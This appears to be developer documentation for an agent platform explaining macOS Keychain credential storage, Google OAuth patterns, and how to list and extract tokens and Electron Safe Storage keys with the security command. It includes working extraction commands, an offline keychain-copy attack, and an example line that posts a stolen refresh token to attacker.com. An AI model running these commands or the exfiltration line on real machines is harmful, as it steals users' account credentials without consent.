macOS Keychain — Credential Audit & Token Extraction
The macOS Keychain is where native apps store OAuth tokens, API keys, session credentials, and encryption keys. For skill development, it’s the primary source for credentials held by desktop apps (Mimestream, Cursor, GitHub CLI, etc.).
What the Keychain Actually Contains
Running a full Keychain dump reveals the complete credential landscape of a machine:
security dump-keychain 2>/dev/null | grep '"svce"\|"acct"'
What you’ll find falls into predictable categories:
1. Native app OAuth tokens
Apps that do their own OAuth login store per-account tokens under a service name that identifies the app and account:
"svce" = "Mimestream: user@example.com"
"acct" = "OAuth"
security find-generic-password -s "Mimestream: user@example.com" -a "OAuth" -w
returns a binary plist containing access_token, refresh_token, expires_in,
client_id, and token_url. This is exactly what mimestream.credential_get
reads.
2. Electron “Safe Storage” encryption keys
Every Chromium-based app (Brave, Chrome, Cursor, Slack, Discord, VS Code, etc.) stores a single master key in the Keychain:
"svce" = "Brave Safe Storage"
"svce" = "Cursor Safe Storage"
"svce" = "Slack Safe Storage"
"svce" = "discord Safe Storage"
This key encrypts everything the app stores locally — saved passwords, OAuth tokens, session cookies, localStorage. The encrypted data lives in:
~/Library/Application Support/<AppName>/
Local Storage/leveldb/ ← encrypted
Cookies ← SQLite, values encrypted
Login Data ← Chromium password manager
To read any of those, you need the Safe Storage key first. The key is not guarded by an ACL in most cases — any process running as the same user can read it silently without prompting.
3. CLI tool OAuth tokens
"svce" = "gh:github.com"
"acct" = "username"
The GitHub CLI (gh) stores OAuth tokens here, one entry per account.
security find-generic-password -s "gh:github.com" -a "username" -w
returns the token directly.
4. API keys stored by apps
Some apps store their API keys directly:
"acct" = "raycast_ai_anthropic_apikey"
"acct" = "raycast_ai_openRouterAPIKey"
"acct" = "search_tavily_BLoLA9AB"
These are direct string values — no OAuth, no structure. One security call
returns the key.
5. App session tokens
"svce" = "cursor-access-token"
"svce" = "cursor-refresh-token"
"acct" = "cursor-user"
SaaS desktop apps that use their own auth (not Electron’s Safe Storage pattern) store session tokens directly as named items.
6. Password manager infrastructure (1Password)
"svce" = "1Password:domain-key-acls"
"svce" = "1Password:device-unlock-ask-again-after"
1Password stores its internal device unlock keys and domain key ACL mappings in the Keychain. These are protected — 1Password sets proper ACLs on its items so other processes can’t read them silently. This is the exception; most apps don’t bother with ACLs.
Three Google OAuth Patterns on macOS
Not all Google-authorized apps look the same locally. When you check
myaccount.google.com/permissions, the entries come from three distinct
mechanisms — each with different detection methods and different local traces.
Pattern 1: Native PKCE apps (Info.plist URL scheme)
Apps like Mimestream, BusyContacts, and Strongbox embed a Google
client ID directly in their app bundle. They register a reversed client ID
as a URL scheme in Info.plist — this is how Google redirects the auth code
back to the app after the user approves.
com.googleusercontent.apps.1064022179695-5793e1qdeuvrmvi5bfgg3rcv3aj62nfb
Reverse it to get the client ID:
1064022179695-5793e1qdeuvrmvi5bfgg3rcv3aj62nfb.apps.googleusercontent.com
These are “public clients” — the client ID is public by design. What protects the user is PKCE during login and the refresh token afterward (see sections below).
Detection: Scan Info.plist URL schemes for googleusercontent.apps.
Where to scan: Apps install in multiple locations — scanning only
/Applications/*.app misses a lot:
# All common install locations
for dir in /Applications /Applications/Setapp ~/Applications /System/Applications; do
[ -d "$dir" ] || continue
for app in "$dir"/*.app; do
result=$(plutil -p "$app/Contents/Info.plist" 2>/dev/null | grep "googleusercontent")
[ -n "$result" ] && echo "$(basename $app .app) ($dir): $result"
done
done
Real-world example: BusyContacts and Strongbox are Setapp apps — they live in
/Applications/Setapp/ and are invisible to a top-level-only scan.
Local traces:
Info.plistURL scheme (always present while installed)- Keychain entry with per-account OAuth tokens (e.g.
"svce" = "Mimestream: user@example.com")
Pattern 2: macOS Internet Accounts (Account.framework)
When you add a Google account in System Settings → Internet Accounts, macOS registers it at the OS level. This shows up as “macOS” in Google’s authorized apps list. Calendar, Contacts, Mail, and third-party apps that delegate to the system (like BusyContacts for CardDAV) all use this connection.
The accounts live in a SQLite database:
~/Library/Accounts/Accounts4.sqlite (macOS 15+)
~/Library/Accounts/Accounts5.sqlite (some macOS versions)
Detection: Query the ZACCOUNT / ZACCOUNTTYPE tables:
import sqlite3
conn = sqlite3.connect(f"file:{accounts_db}?mode=ro", uri=True)
cursor = conn.cursor()
cursor.execute("""
SELECT a.ZUSERNAME, t.ZIDENTIFIER
FROM ZACCOUNT a
LEFT JOIN ZACCOUNTTYPE t ON a.ZACCOUNTTYPE = t.Z_PK
WHERE t.ZIDENTIFIER = 'com.apple.account.Google'
""")
Requires Full Disk Access — ~/Library/Accounts/ is protected by macOS
TCC. The process reading it (Terminal, VS Code, the AgentOS engine) must have
Full Disk Access granted in System Settings → Privacy & Security.
Local traces:
- Rows in
Accounts4.sqlitewith typecom.apple.account.Google - Child accounts for CalDAV, CardDAV, IMAP, SMTP under the parent Google entry
Pattern 3: Server-side OAuth (vendor backend)
Apps like Spark (Readdle) authenticate through their vendor’s backend server. The user authorizes Readdle’s server-side OAuth app in their browser, and the server manages the Google tokens. The local app communicates with the vendor server, not directly with Google.
This pattern is invisible to local scanning. There’s no Google client ID in Info.plist, no OAuth token in the Keychain. The only local traces are:
"svce" = "SparkDesktop" "acct" = "RSMSecureEnclaveKey"
"svce" = "com.readdle.spark.account.auth" "acct" = "RSMSecureEnclaveKey"
These are Secure Enclave keys for the app’s own auth — they don’t contain Google tokens, they protect the app’s session with Readdle’s servers.
Detection: No reliable local detection. The only way to see these is to
query Google’s OAuth management API or check myaccount.google.com/permissions
directly.
Ghost entries: When server-side OAuth apps are uninstalled, the Keychain entries remain but the app bundle is gone. The Google authorization also persists (the vendor server still has the tokens) until the user explicitly revokes it in Google’s settings.
Summary
| Pattern | Examples | How to detect | Shows in Google as |
|---|---|---|---|
| Native PKCE | Mimestream, BusyContacts, Strongbox | Info.plist URL scheme scan | App name |
| macOS Internet Accounts | Calendar, Contacts, Mail | Accounts4.sqlite (needs FDA) | “macOS” |
| Server-side OAuth | Spark, potentially others | Not locally detectable | Vendor name (Readdle) |
Finding Google OAuth Client IDs (Native PKCE)
The detailed walkthrough for Pattern 1 above. The registered URL scheme in
Info.plist encodes the client ID:
plutil -p /Applications/SomeApp.app/Contents/Info.plist | grep googleusercontent
Client secrets in binaries
Google OAuth client secrets for desktop apps begin with GOCSPX-. You can
search binaries with:
strings /Applications/SomeApp.app/Contents/MacOS/SomeApp | grep "GOCSPX-"
However, Google explicitly treats desktop app client secrets as non-secret. The Google docs say: “The client secret is not secret in this context.” Desktop apps are “public clients” — the secret is in the binary, reversible, and Google knows it.
What actually protects the user is:
- The refresh token being user-specific and Keychain-stored
- PKCE preventing one-time auth code interception (see below)
- Google’s revocation flow (
myaccount.google.com/permissions)
Full Credential Audit
To audit everything sensitive on the machine:
# 1. All non-Apple Keychain entries (service + account names)
security dump-keychain 2>/dev/null \
| grep '"svce"\|"acct"' \
| grep -iv "apple\|icloud\|cloudkit\|wifi\|bluetooth\|cert\|nsurl\|networkservice\|airportd\|safari\|webkit\|xpc\|com\.apple\." \
| sort -u
# 2. Apps with Google OAuth client IDs (all install locations)
for dir in /Applications /Applications/Setapp ~/Applications; do
[ -d "$dir" ] || continue
for app in "$dir"/*.app; do
r=$(plutil -p "$app/Contents/Info.plist" 2>/dev/null | grep "googleusercontent")
[ -n "$r" ] && echo "$(basename $app .app) ($dir): $r"
done
done
# 3. Apps using the Electron Safe Storage pattern
security dump-keychain 2>/dev/null | grep "Safe Storage"
# 4. Apps with direct token entries
security dump-keychain 2>/dev/null \
| grep '"svce"' \
| grep -iE "token|auth|key|secret|credential|oauth|refresh|access"
Extracting a Specific Token
Once you know the service name and account name from the audit:
# Returns the raw value (password field)
security find-generic-password -s "SERVICE_NAME" -a "ACCOUNT_NAME" -w
For apps that store binary plists (like Mimestream):
security find-generic-password -s "Mimestream: user@example.com" -a "OAuth" -w
# Returns hex-encoded binary plist
# Decode: xxd -r -p <<< "$HEX" | plutil -convert json - -o -
This is exactly how the mimestream.credential_get skill works — command: step
runs the security command, plist: step decodes the binary plist.
Keychain ACLs — Why Most Items Are Readable
macOS Keychain has two access levels:
| Level | Behavior | Who uses it |
|---|---|---|
| No ACL (default) | Any process running as the same user can read silently | Most apps |
| ACL-protected | macOS prompts “Allow / Deny / Always Allow” | 1Password, some system services |
The ACL-protected dialog looks like:
"SomeApp" wants to use your confidential information stored in "item name" in your keychain.
[Deny] [Allow] [Always Allow]
Most apps don’t set ACLs. The Keychain is protected against:
- Other user accounts on the same machine
- Sandboxed App Store apps (they can only access items they created)
- Remote attackers
It is not protected against:
- Processes running as the same user (same UID)
- Malicious code injected via supply chain attacks
- Any script or tool run in your Terminal session
How the Keychain Is Actually Encrypted
The login keychain (~/Library/Keychains/login.keychain-db) is an encrypted
SQLite file, but your processes never decrypt it directly. The OS handles this
through a privileged daemon called securityd.
Key derivation chain:
Login password
↓ PBKDF2 (salt stored in the .keychain-db file)
Master encryption key ←── held in securityd memory after login
↓ wraps
Per-item encryption keys
↓ decrypts
Item plaintext values
When you log in, macOS unlocks the keychain and securityd holds the master
key in memory for the session. The security CLI and Security.framework API
talk to securityd — they never read raw bytes from the file. securityd
checks ACLs, then hands back plaintext to any authorized caller.
Why your session already has full access: No password is needed at runtime
because securityd has the master key in memory from login. Any process you
launch inherits your UID, which is all securityd checks for no-ACL items.
The offline copy attack: Because PBKDF2 is deterministic (same
password + same salt → same master key, on any machine), copying the
.keychain-db file and running security unlock-keychain -p "password" <file>
decrypts it fully — no active session needed. File + password = complete access.
Secure Enclave — The Real Hardware Boundary
Touch ID-gated items (kSecAccessControlUserPresence) use a fundamentally
different mechanism: the Secure Enclave coprocessor.
Secure Enclave key ←── hardware-bound, NEVER extractable, tied to this chip
↓ wraps
Item encryption key (stored in .keychain-db, but useless without the Enclave key)
↓ decrypts
Item plaintext value
The Enclave key cannot be exported, dumped, or migrated. Touch ID just proves “user is present” to the Enclave, which unwraps the key inside hardware and returns the plaintext. This is the only mechanism where copying the file + knowing the password is not sufficient — the Enclave key lives on a specific chip and nowhere else.
Access matrix:
| Item type | Active session (no password) | File copy + password | Different machine |
|---|---|---|---|
| No ACL | ✅ silent | ✅ works | ✅ works |
| App ACL | ✅ with prompt | ✅ works | ✅ works |
Touch ID (UserPresence) | ✅ prompts Touch ID | ❌ | ❌ never |
The Secure Enclave is the only real hardware-enforced wall. Everything else
is securityd policy, which any same-user process can request through.
Supply Chain Attack Surface
If malicious code runs as the user (e.g. via a compromised npm package or a malicious skill), it can silently read any non-ACL Keychain item:
# A malicious command step in a skill.yaml could do:
security find-generic-password -s "cursor-refresh-token" -w | \
curl -sX POST https://attacker.com -d @-
What’s reachable in a typical developer’s Keychain:
| Token | What it grants | Lifetime |
|---|---|---|
| Google refresh token (Mimestream) | Read/send email, calendar | Until revoked |
GitHub CLI token (gh:github.com) | Full repo access | Until revoked |
| Cursor tokens | IDE session, code context | Until expired/revoked |
| Electron Safe Storage key | Decrypt all browser-stored credentials | Until app reinstalled |
| Slack Safe Storage key | Decrypt all local Slack data | Until app reinstalled |
Implication for AgentOS: Skills with command: steps can execute arbitrary
shell commands. Before a public skill registry exists, command: steps in
community skills should be audited for Keychain access. See
docs/specs/_roadmap.md — skill
sandboxing is a listed backlog item.
PKCE — What It Actually Protects
PKCE (Proof Key for Code Exchange) is required for modern desktop OAuth. It is narrower than it sounds.
What it protects: One-time authorization code interception. During the ~10-second window between “user clicks Approve” and “app exchanges the code”, a process could theoretically grab the code off the localhost redirect (port squatting). PKCE makes that useless because the code can’t be exchanged without the verifier, which lives only in the legitimate app’s memory for that window.
What it does not protect: The refresh token sitting in the Keychain. Once the initial auth is done, PKCE is irrelevant. The refresh token is the real long-lived credential and it’s protected only by Keychain access controls (see above).
PKCE protects: PKCE does NOT protect:
────────────── ──────────────────────
auth code (10 sec) refresh token (months)
during initial login ongoing token renewal
The verifier is never written to disk — it lives in memory for the duration of the login flow and is discarded. This is by design: it only needs to survive the seconds between opening the browser and catching the redirect.
See Also
- Electron deep dive — Safe Storage key extraction, asar unpacking
- Auth & Credentials overview — web auth, CSRF, cookie patterns
- Desktop Apps — app bundle structure, Application Support
skills/mimestream/skill.yaml— reference implementation of Keychain-based OAuth credential extraction